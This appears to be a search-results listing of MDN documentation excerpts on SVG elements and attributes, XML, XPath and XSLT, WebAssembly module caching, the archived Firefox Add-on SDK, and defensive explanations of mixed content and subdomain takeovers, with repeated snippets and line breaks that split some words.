ipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47. systeml...
... matching rule does not imply that if a user understands a language with a certain tag, that the user will also understand all languages with the tag as prefix. if the attribute is not present, then it implicitly evaluates to "true". if a null string or empty string value is given, the attribute evaluates to "false". the prefix rule simply allows the use of prefix tags if this is the case. ...
...e with a certain tag, that the user will also understand all languages with the tag as prefix. if the attribute is not present, then it implicitly evaluates to "true". if a null string or empty string value is given, the attribute evaluates to "false". the prefix rule simply allows the use of prefix tags if this is the case. mult
iple languages may be listed for content that is intended for mult
iple audiences. for example, content that is presented simultaneously in the original maori and english versions, would call for: <text systemlanguage="mi, en"><!-- content goes here --></text> however, just because mult
iple languages are present within the object on which the systemlanguage test attribute is placed, this does not mean that it is intended for mult
iple linguistic audiences. an exam...
u1 - SVG: Scalable Vector Graphics
comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g1 attribute. ...
...comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g1 attribute. ...
...comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g1 attribute. ...
u2 - SVG: Scalable Vector Graphics
comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g2 attribute. ...
...comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g2 attribute. ...
...comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g2 attribute. ...
visibility - SVG: Scalable Vector Graphics
aphics elements which have their visibility attribute set to hidden still might receive events. note: as a presentation attribute, visibility can be used as a css property. see the css visibility property for more information. ...
...ible animatable yes visible this value indicates that the element will be painted. hidden this value indicates that the element will not be painted. though it is still part of the rendering tree, i.e. it may receive pointer events depending on the pointer-events attribute, may receive focus depending on the tabindex attribute, contributes to bounding box calculations and cl
ipping paths, and does affect text layout. collapse this value is equal to hidden. example the following example toggles the css visibility of the svg image path. html <button id="nav-toggle-button" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" class="button-icon"> <path d="m16.59 8.59l12 13.17 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.
...-icon"> <path d="m16.59 8.59l12 13.17 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !important; } span { vertical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascr
ipt document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification. ...
<circle> - SVG: Scalable Vector Graphics
e geometry properties, meaning those attributes can also be used as css properties for that element. ...
...properties, meaning those attributes can also be used as css properties for that element. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<desc> - SVG: Scalable Vector Graphics
the <desc> element provides an accessible, long-text descr
iption of any svg container element or graphics element. text in a <desc> element is not rendered as part of the graphic. if the element can be described by visible text, it is possible to reference that text with the aria-describedby attribute. if aria-describedby is used, it will take precedence over <desc>. the hidden text of a <desc> element can also be concatenated with the visible text of other elements using mult
iple ids in an aria-describedby value. in that case, the <desc> element must provide an id for reference. ...
...r <desc>. the hidden text of a <desc> element can also be concatenated with the visible text of other elements using mult
iple ids in an aria-describedby value. in that case, the <desc> element must provide an id for reference. ...
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<desc>' in that specification. recommendation initial definition ...
<line> - SVG: Scalable Vector Graphics
es the total path length in user units. ...
...l path length in user units. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<linearGradient> - SVG: Scalable Vector Graphics
y2 this attribute defines the y coordinate of the ending point of the vector gradient along which the linear gradient is drawn. ...
...ttribute defines the y coordinate of the ending point of the vector gradient along which the linear gradient is drawn. ...
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<lineargradient>' in that specification. recommendation in...
<mask> - SVG: Scalable Vector Graphics
type: <coordinate> ; default value: -10%; animatable: yes width this attribute defines the width of the masking area. ...
...rdinate> ; default value: -10%; animatable: yes width this attribute defines the width of the masking area. ...
...ath, cl
ip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment css masking module level 1the definition of '<mask>' in that specification...
<path> - SVG: Scalable Vector Graphics
tal length for the path, in user units. ...
...for the path, in user units. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment svg pat...
<pattern> - SVG: Scalable Vector Graphics
only href will be used. y this attribute determines the y coordinate shift of the pattern tile. ...
...will be used. y this attribute determines the y coordinate shift of the pattern tile. ...
..., filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<pattern>' in that spec...
<polygon> - SVG: Scalable Vector Graphics
tal length for the path, in user units. ...
...for the path, in user units. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<polyline> - SVG: Scalable Vector Graphics
tal length for the path, in user units. ...
...for the path, in user units. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<radialGradient> - SVG: Scalable Vector Graphics
value: pad; animatable: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. ...
...; animatable: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. ...
... candidate recommendation added fr attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<radialgradient>' in that specification. rec...
<rect> - SVG: Scalable Vector Graphics
e geometry properties, meaning those attributes can also be used as css properties for that element. ...
...properties, meaning those attributes can also be used as css properties for that element. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements specifications specification status comment...
<text> - SVG: Scalable Vector Graphics
if text is included in svg not inside of a <text> element, it is not rendered. this is different than being hidden by default, as setting the display property won't show the text. ...
...: yes global attributes core attributes most notably: id, tabindex styling attributes class, style, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-effect, visibility aria attributes aria-activedescenda...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescr
iptive elementstext content elements<a> specifications speci...
<textPath> - SVG: Scalable Vector Graphics
text will render. ...
...ender. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descr
iptive elements<a>, <altglyph>, <animate>, <anim...
<tspan> - SVG: Scalable Vector Graphics
t should be scaled to fit. ...
... scaled to fit. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descr
iptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspa...
<use> - SVG: Scalable Vector Graphics
e geometry properties, meaning those attributes can also be used as css properties for that element. ...
...properties, meaning those attributes can also be used as css properties for that element. ...
...details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescr
iption, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elements s...
Introduction - SVG: Scalable Vector Graphics
and complex curves. a simple svg document consists of nothing more than the <svg> root element and several basic shapes that build a graphic together. in addition there is the <g> element, which is used to group several basic shapes together. starting from there, the svg image can become arbitrarily complex. svg supports gradients, rotations, filter effects, animations, interactivity with javascr
ipt, and so on. but all these extra features of the language rely on this relatively small set of elements to define the graphics area. before you start there are a number of drawing applications available such as inkscape which are free and use svg as their native file format. however, this tutorial will rely on the trusty xml or text editor (your choice). the idea is to teach the internals of sv...
...d it, and that is best done by dirtying your hands with a bit of markup. you should note your final goal though. not all svg viewers are equal and so there is a good chance that something written for one app will not display exactly the same in another, simply because they support different levels of the svg specification or another specification that you are using along with svg (that is, javascr
ipt or css). svg is supported in all modern browsers and even a couple versions back in some cases. a fairly complete browser support table can be found on can i use. firefox has supported some svg content since version 1.5, and that support level has been growing with each release since. hopefully, along with the tutorial here, mdn can help developers keep up with the differences between gecko and...
... aimed mainly at mobile devices. the first, svg tiny, should yield graphics primitives for small devices with low capabilities. svg basic offers many features of full svg, but doesn't include the ones which are hard to implement or heavy to render (like animations). in 2008, svg tiny 1.2 became a w3c recommendation. there were plans for an svg print specification, which would add support for mult
iple pages and enhanced color management. this work was discontinued. << previousnext >> ...
Tools for SVG - SVG: Scalable Vector Graphics
rs a viewer (squiggle), a rasterizer for png output, an svg pretty printer to format svg files, and a truetype-to-svg-font converter. together with apache fop batik can transform svg to pdf. other renderers several projects exist that can create a raster image from an svg source. imagemagick is one of the most famous command-line image processing tools. the gnome library rsvg is used by the wik
ipedia to raster their svg graphics. usage of headless browsers such as slimerjs and phantomjs are also popular for this purpose, as the image produced is closer to what the svg will look like in the browser. raphael js url: raphaeljs.com this is a javascr
ipt library, that acts as an abstraction layer between browser implementations. notably older versions of internet explorer are supported by ge...
...it does not support the older browsers that raphael does. ...
...it does not support the older browsers that raphael does. ...
Mixed content - Web security
avior of the https page and potentially steal sensitive data from the user. hence, in addition to the risks described for mixed display content above, mixed active content is vulnerable to a few other attack vectors. in the mixed active content case, a man-in-the-middle attacker can intercept the request for the http content. the attacker can also rewrite the response to include malicious javascr
ipt code. malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or its plugins, for example). the risk involved with mixed content does depend on the type of website the user is visiting and how sensitive the data exposed to that site may be. the webpage may h...
...he world or private data visible only when authenticated. if the webpage is public and has no sensitive data about the user, using mixed active content still provides the attacker with the opportunity to redirect the user to other http pages and steal http cookies from those sites. active content examples this section lists some types of http requests which are considered active content: <scr
ipt> (src attribute) <link> (href attribute) (this includes css stylesheets) <iframe> (src attribute) xmlhttprequest requests fetch() requests all cases in css where a <url> value is used (@font-face, cursor, background-image, and so forth). <object> (data attribute) navigator.sendbeacon (url attribute) other resource types like web fonts and workers may be considered active mixed content, ...
...isplay content can be blocked by setting a preference). to make it easier for web developers to find mixed content errors, all blocked mixed content requests are logged to the security pane of the web console, as seen below: to fix this type of error, all requests to http content should be removed and replaced with content served over https. some common examples of mixed content include javascr
ipt files, stylesheets, images, videos, and other media. note: since firefox 55, the loading of mixed content is allowed on http://127.0.0.1/ (see bug 903966). chrome allows mixed content on http://127.0.0.1/ and http://localhost/. safari does not allow any mixed content. ...
Subdomain takeovers - Web security
name system (dns), but no host is providing content for it. this can happen because either a virtual host hasn't been published yet or a virtual host has been removed. an attacker can take over that subdomain by providing their own virtual host and then hosting their own content for it. if an attacker can do this, they can potentially read cookies set from the main domain, perform cross-site scr
ipting, or circumvent content security policies, thereby enabling them to capture protected information (including logins) or send malicious content to unsuspecting users. a subdomain is like an electrical outlet. if you have your own appliance (host) plugged into it, everything is fine. however, if you remove your appliance from the outlet (or haven't plugged one in yet), someone can plug in a dif...
...ing provider, an attacker can now create their own virtual host with that provider, claim your subdomain, and host their own content under that subdomain. how can i prevent them? preventing subdomain takeovers is a matter of order of operations in lifecycle management for virtual hosts and dns. depending on the size of the organization, this may require communication and coordination across mult
iple departments, which can only increase the likelihood for a vulnerable misconfiguration. define standard processes for provisioning and deprovisioning hosts. do all steps as closely together as possible. start provisioning by claiming the virtual host; create dns records last. start deprovisioning by removing dns records first. create an inventory of all of your organization's d...
...e claiming a virtual host actually has a legitimate claim to the domain name. work within your organization to make this part of the vendor qualification process. my subdomain has been taken over. what should i do? if you discover that a subdomain of your domain has been taken over, the first step, if possible, is to "cut power" by removing the dns entry for the subdomain. if your site has mult
iple layers of virtualization (e.g., a cdn in addition to virtual hosting), you may need to examine each layer to see where exactly the attacker asserted their virtual host claim to take over your domain. learn more 'deep thoughts' on subdomain takeover vulnerabilities subdomain takeover: basics ...
XML introduction - XML: Extensible Markup Language
p language similar to html, but without predefined tags to use. instead, you define your own tags designed specifically for your needs. this is a powerful way to store data in a format that can be stored, searched, and shared. most importantly, since the fundamental format of xml is standardized, if you share or transmit xml across systems or platforms, either locally or over the internet, the rec
ipient can still parse the data due to the standardized xml syntax. there are many languages based on xml, including xhtml, mathml, svg, xul, xbl, rss, and rdf. you can also define your own. structure of an xml document this sub-article in process writing... whole structure xml and xml based languages built on tags. xml declaration xml - declaration is not a tag. it is used for the transmiss...
...ned the <warning> tag, the document above wouldn't be valid. most browsers offer a debugger that can identify poorly-formed xml documents. entities like html, xml offers methods (called entities) for referring to some special reserved characters (such as a greater than sign which is used for tags). there are five of these characters that you should know: entity character descr
iption < < less than sign > > greater than sign & & ampersand " " one double-quotation mark ' ' one apostrophe (or single-quotation mark) even though there are only 5 declared entities, more can be added using the document's document type definition. for example, to create a new &warning; entity...
...new &warning; entity, you can do this: <?xml version="1.0" encoding="utf-8"?> <!doctype body [ <!entity warning "warning: something bad happened... please refresh and try again."> ]> <body> <message> &warning; </message> </body> you can also use numeric character references to specify special characters; for example, © is the "(c)" symbol. displaying xml xml is usually used for descr
iptive purposes, but there are ways to display xml data. if you don't define a specific way for the xml to be rendered, the raw xml is displayed in the browser. one way to style xml output is to specify css to apply to the document using the xml-stylesheet processing instruction. <?xml-stylesheet type="text/css" href="stylesheet.css"?> there is also another more powerful way to display xml: the e...
XPath
yntax so that it can be used in uris and xml attribute values. note: support for xpath varies widely; it's supported reasonably well in firefox (although there are no plans to improve support further), while other browsers implement it to a lesser extent, if at all. if you need a polyfill, you may consider js-xpath or wicked-good-xpath. documentation introduction to using xpath in javascr
ipt describes a non-xslt use of xpath. xpath:axes list and definition of the axes defined in the xpath specification. axes are used to describe the relationsh
ips between nodes. xpath:functions list and descr
iption of the core xpath functions and xslt-specific additions to xpath. transforming xml with xslt xslt uses xpath to address code segments in an xml document that it wishes to transform.
...es a non-xslt use of xpath. xpath:axes list and definition of the axes defined in the xpath specification. axes are used to describe the relationsh
ips between nodes. xpath:functions list and descr
iption of the core xpath functions and xslt-specific additions to xpath. transforming xml with xslt xslt uses xpath to address code segments in an xml document that it wishes to transform. xpath sn
ippets these are javascr
ipt utility functions, that can be used in your own code, based on dom level 3 xpath apis. ...
...ent that it wishes to transform. xpath sn
ippets these are javascr
ipt utility functions, that can be used in your own code, based on dom level 3 xpath apis. what is xslt? this extensive introduction to xslt and xpath assumes no prior knowledge of the technologies, and guides the reader through background, context, structure, concepts, and introductory terminology. jxon jxon (lossless javascr
ipt xml object notation) is a generic name by which is defined the representation of javascr
ipt objects using xml. there are some cases in which the whole content of an xml document must be read from the javascr
ipt interpreter (like for web-apps languages or settings xml documents, for example). in these cases jxon could represent the most practical way and valid alternative to xpath. view all... ...
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
n is substituted for the xpath expression. for example, assume that a variable "image-dir" is defined as follows: <xsl:variable name="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside curly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a descr
iption, a syntax listing, a list of required and optional attributes, a descr
iption of type and position, its source in the w3c recommendation and an explanation of the degree of present gecko support. use the {{listsubpages}} macro once the bcd for <xsl:fallback>, <xsl:import>, <xsl:namespace-alias>, <xsl:number>, <xsl:output>, <xsl:stylesheet>, <xsl:text> and <xsl:value-of> is fully migrated. <x...
...ated. ...
...> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <xsl:param> <xsl:preserve-space> <xsl:processing-instruction> <xsl:sort> <xsl:str
ip-space> <xsl:stylesheet> (partially supported) <xsl:template> <xsl:text> (partially supported) <xsl:transform> <xsl:value-of> (partially supported) <xsl:variable> <xsl:when> <xsl:with-param> ...
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes an overview the separation of content and presentation is a key design feature of xml. the structure of an xml document is designed to reflect and clarify important relationsh
ips among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented. this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network. yet eventually much of the content stored in xml documents will need to be presented to human readers. because a browser provides a familiar and highly flexible interface, it is an ideal mechanism f...
...ted and support for the emerging css3 standard is under development. for further information about css, see eric meyer's css pages. our focus here is on the second type of stylesheet that gecko supports: the xslt stylesheet. xslt stands for extensible stylesheet language/transform and the name is apt. xslt allows a stylesheet author to transform a primary xml document in two significant ways: man
ipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of firefox, the focus is on converting it on the fly into html which can then be displayed by the browser). xslt/xpath reference elements xsl:apply-imports (supported) xsl:apply-templates (supported) xsl:attribute (supported) xsl:attri...
...orted) xsl:for-each (supported) xsl:if (supported) xsl:import (mostly supported) xsl:include (supported) xsl:key (supported) xsl:message (supported) xsl:namespace-alias (not supported) xsl:number (partially supported) xsl:otherwise (supported) xsl:output (partially supported) xsl:param (supported) xsl:preserve-space (supported) xsl:processing-instruction xsl:sort (supported) xsl:str
ip-space (supported) xsl:stylesheet (partially supported) xsl:template (supported) xsl:text (partially supported) xsl:transform (supported) xsl:value-of (partially supported) xsl:variable (supported) xsl:when (supported) xsl:with-param (supported) axes ancestor ancestor-or-self attribute child descendant descendant-or-self following following-sibling namespace (not supported) p...
Caching compiled WebAssembly modules - WebAssembly
article explains the best practices around this. caching via indexeddb indexeddb is a transactional database system that allows you to store and retrieve structured data on the client-side. it is ideal for persisting assets locally for the saved state of an application, including text, blobs, and any other type of cloneable object. ...
...ication, including text, blobs, and any other type of cloneable object. this includes compiled wasm modules (webassembly.module javascr
ipt objects). setting up a caching library because indexeddb is a somewhat old-fashioned api, we wanted to provide a library function to speed up writing caching code, and make it work better along with today's more modern apis. in our wasm-utils.js library scr
ipt, you'll find instantiatecachedurl() -- this function fetches the wasm module at url with a version of dbversion, instantiates it with the given importobject, and returns a promise resolving to the finished wasm instance. additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules from t...
... if opening the database failed (for example due to permissions or quota), we fall back to simply fetching and compiling the module and don't try to store the results (since there is no database to store them into). errmsg => { console.log(errmsg); return webassembly.instantiatestreaming(fetch(url)).then(results => { return resul...
Contributor's Guide - Archive of obsolete content
one or more members, which are initialized to a given value when the class is instantiated. data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior. inheritance allows classes to inherit state and behavior from an existing classes, known as the base class. unlike languages like c++ and java, javascr
ipt does not have native support for classical inheritance. instead, it uses something called prototypal inheritance. as it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code. content processes a content process was supposed to run all the code associated with a single tab. conversely, an add-on ...
... processes actually exist. getting started learn how to contribute to the add-on sdk. modules a module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface. the use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them. unfortunately, javascr
ipt does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscr
ipts, and exporting/ importing names. we will show how to do each of these things using the built-in components object provided by xulrunner application such as firefox and thunderbird. private properties people have come up with several ways to emulate pr...
Module structure of the SDK - Archive of obsolete content
commonjs is the underlying infrastructure for both the sdk and the add-ons you build using the sdk. a commonjs module is a piece of reusable javascr
ipt: it exports certain objects which are thus made available to dependent code. commonjs defines: an object called exports which contains all the objects which a commonjs module wants to make available to other modules a function called require which a module can use to import the exports object of another module. ...
...ing the sdk. a commonjs module is a piece of reusable javascr
ipt: it exports certain objects which are thus made available to dependent code. commonjs defines: an object called exports which contains all the objects which a commonjs module wants to make available to other modules a function called require which a module can use to import the exports object of another module. except for scr
ipts that interact directly with web content, all the javascr
ipt code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascr
ipt modules which the sdk provides, such as panel and page-mod. local modules: each of the javascr
ipt files under your add-on's "lib" directory. external modules: reusable modules developed and maintained...
SDK and XUL Comparison - Archive of obsolete content
advantages of the sdk simplicity the sdk provides high-level javascr
ipt apis to simplify many common tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on. compatibility although we can't promise we'll never break a high-level api, maintaining compatibility across firefox versions is a top priority for us. we've designed the apis to be forward-compatible with the new mult
iple process architecture (codenamed electrolysis) planned for firefox. we also expect to support both desktop and mobile firefox using a single edition of the sdk: so you'll be able to write one extension and have it work on both products. security if they're not caref...
... xpcom traditional add-ons have access to a vast amount of firefox functionality via xpcom. the sdk's supported apis expose a relatively small set of this functionality. low-level apis and third-party modules that's not the whole story. if you need more flexibility than the sdk's high-level apis provide, you can use its low-level apis to load xpcom objects directly or to man
ipulate the dom directly as in a traditional bootstrapped extension. alternatively, you can load third-party modules, which extend the sdk's core apis. note that by doing this you lose some of the benefits of programming with the sdk including simplicity, compatibility, and to a lesser extent security. ...
Testing the Add-on SDK - Archive of obsolete content
files that we expect it to. cfx testex --filter <addon_example_folder_name>: a suite of tests which run test code for some example add-ons. this suite builds the example code, then runs these example add-on's test code. cfx testaddons --filter <addon_folder_name>: a suite of tests which run add-ons, which are themseleves tests. this suite builds add-ons which are tests (ie: their main.js scr
ipt's merely run tests and close firefox when their tests are done), and runs them as cfx run would. cfx testpkgs --filter <file_name>:<test_name>: a suite of tests which run sdk module unit tests. this suite builds the entire addon-sdk repo as an add-on, like cfx xpi would, then runs the add-on like cfx test would. the majority of the tests run here are module unit tests, but there are various o...
...ity of the tests run here are module unit tests, but there are various other tests included here as well. note: you must remember to run source bin/activate in order to enable cfx first. with jpm jpm tests all use the new toolkit/loader. with jpm (which is not part of the add-on sdk repo, and must be installed separately) things more difficult without the gulp commands provided by the gulpscr
ipt.js file in the addon-sdk repo. with gulp installed, and after installing the addon-sdk's npm dependencies, we can run the latter three test suites mentioned for cfx with jpm using the following commands: gulp test:examples --filter <addon_example_folder_name> gulp test:addons --filter <addon_folder_name> gulp test:modules --filter <file_name>:<test_name> or run all of the tests with gulp...
l10n - Archive of obsolete content
globals functions get(identifier, count, placeholder1...n) this function takes a string parameter which it uses as an identifier to look up and return a localized string in the locale currently set for firefox. localized strings are supplied by the add-on developer in .properties files stored in the add-ons "locale" directory. ...
